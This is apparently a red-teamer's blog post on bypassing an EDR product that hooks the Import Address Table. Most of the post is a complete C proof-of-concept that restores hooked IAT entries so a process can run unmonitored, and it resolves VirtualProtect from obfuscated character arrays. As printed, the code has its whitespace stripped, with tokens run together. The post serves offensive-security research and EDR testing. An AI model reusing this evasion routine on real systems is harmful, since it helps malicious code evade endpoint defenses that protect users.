One day at work, I was trying to bypass an EDR and I noticed something interesting.
The EDR I was trying to bypass wasn’t hooking the DLL in their code with jmp instruction like other EDRs in user-land.
In this case, it was hooking directly the Import Address Table. This technique makes the usual move like live-patching, or erasing the loaded DLL with one freshly loaded from disk useless.
I had to unhook the Import Address Table of my process.
Hooks : Technique used to redirect the execution flow of a legitimate API to a portion of code controlled by the attacker/AV/EDR. Usually done by writing a jump in the legitimate API code or by replacing API function addresses in the Import Address Table.
Import Address Table : Structure in the PE format containing (when loaded) the adresses of every external function imported in the program.
In a nutshell it look like this:
If you’re not familiar with this topic, I highly recommend to read this awesome article or if you don’t have time, this super clear stackexchanged answer.
Unhook it!
Long story short, I coded this proof-of-concept allowing me too unhook my Import Address table:
#include<winternl.h>#include<windows.h>#include<stdio.h>#include<stdbool.h>#include<dbghelp.h>#pragma comment (lib, "dbghelp.lib")
//coded by xalicex
//Twitter : @AliceCliment
voidUnhookIAT(){ULONGsize;DWORDi,j,x;DWORDoldProtect=0;BOOLfound=false;intsizetab;LPVOIDTrueRVA;unsignedcharxKernel32[]={'k','e','r','n','e','l','3','2','.','d','l','l',0x0};unsignedcharxVirtualProtect[]={'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0x0};typedefBOOL(WINAPI*VirtualProtect_t)(LPVOID,SIZE_T,DWORD,PDWORD);VirtualProtect_tVirtualProtect_p=(VirtualProtect_t)GetProcAddress(GetModuleHandle((LPCSTR)xKernel32),(LPCSTR)xVirtualProtect);// get Base address of the PE
HANDLEbaseAddress=GetModuleHandle(NULL);// get Import Table of PE
PIMAGE_IMPORT_DESCRIPTORimportTbl=(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(baseAddress,TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,&size,NULL);intnbelement=(size/20)-1;for(i=0;i<nbelement;i++){//Get name of the DLL in the Import Table
char*importName=(char*)((PBYTE)baseAddress+importTbl[i].Name);printf("DLL name in IAT : %s\n",importName);//Get Import Lookup Table (OriginalFirstThunk) and Import Address Table (FirstThunk)
PIMAGE_THUNK_DATAthunk=(PIMAGE_THUNK_DATA)((PBYTE)baseAddress+importTbl[i].FirstThunk);PIMAGE_THUNK_DATAoriginalFirstThunk=(PIMAGE_THUNK_DATA)((PBYTE)baseAddress+importTbl[i].OriginalFirstThunk);PIMAGE_IMPORT_BY_NAMEfunction=NULL;char*functionName;//Parse DLL loaded in memory to retrieve various info
constLPVOIDBaseDLLAddr=(LPVOID)GetModuleHandle((LPCSTR)importName);PIMAGE_DOS_HEADERpImgDOSHead=(PIMAGE_DOS_HEADER)BaseDLLAddr;PIMAGE_NT_HEADERSpImgNTHead=(PIMAGE_NT_HEADERS)((DWORD_PTR)BaseDLLAddr+pImgDOSHead->e_lfanew);PIMAGE_EXPORT_DIRECTORYpImgExpDir=(PIMAGE_EXPORT_DIRECTORY)((LPBYTE)BaseDLLAddr+pImgNTHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);PDWORDAddress=(PDWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfFunctions);PDWORDName=(PDWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfNames);PWORDOrdinal=(PWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfNameOrdinals);//loop through all function in the lookup table for the current dll
while(originalFirstThunk->u1.AddressOfData!=NULL){function=(PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)baseAddress+originalFirstThunk->u1.AddressOfData);functionName=function->Name;sizetab=7;//Avoid those function or I'll crash
char*exclude[]={"EnterCriticalSection","LeaveCriticalSection","DeleteCriticalSection","InitializeSListHead","HeapAlloc","HeapReAlloc","HeapSize"};for(x=0;x<sizetab;x++){if(_stricmp(functionName,exclude[x])==0){found=true;}}if(!found){//Get RVA from DLL loaded in memory
for(j=0;j<pImgExpDir->NumberOfFunctions;j++){if(!strcmp(functionName,(char*)BaseDLLAddr+Name[j])){TrueRVA=(PVOID)((LPBYTE)Address[Ordinal[j]]);break;}}//Compute real address
uintptr_tmoduleBase=(uintptr_t)BaseDLLAddr;uintptr_tRVA=(uintptr_t)TrueRVA;uintptr_t*TrueAddress=(uintptr_t*)(moduleBase+RVA);PROC*currentFuncAddr=(PROC*)&thunk->u1.Function;if(*currentFuncAddr!=(PROC)(TrueAddress)){oldProtect=0;VirtualProtect_p((LPVOID)currentFuncAddr,8,PAGE_READWRITE,&oldProtect);printf("Bad News ! Function %s is hooked ! Address is %x and it's suppose to be %x \nUnhook like the captain !\n",functionName,*currentFuncAddr,TrueAddress);*currentFuncAddr=(PROC)(TrueAddress);VirtualProtect_p((LPVOID)currentFuncAddr,8,oldProtect,&oldProtect);}else{printf("Good news ! Function %s is not hooked :D\n",functionName);}}++originalFirstThunk;++thunk;found=false;}}}intmain(void){UnhookIAT();return0;}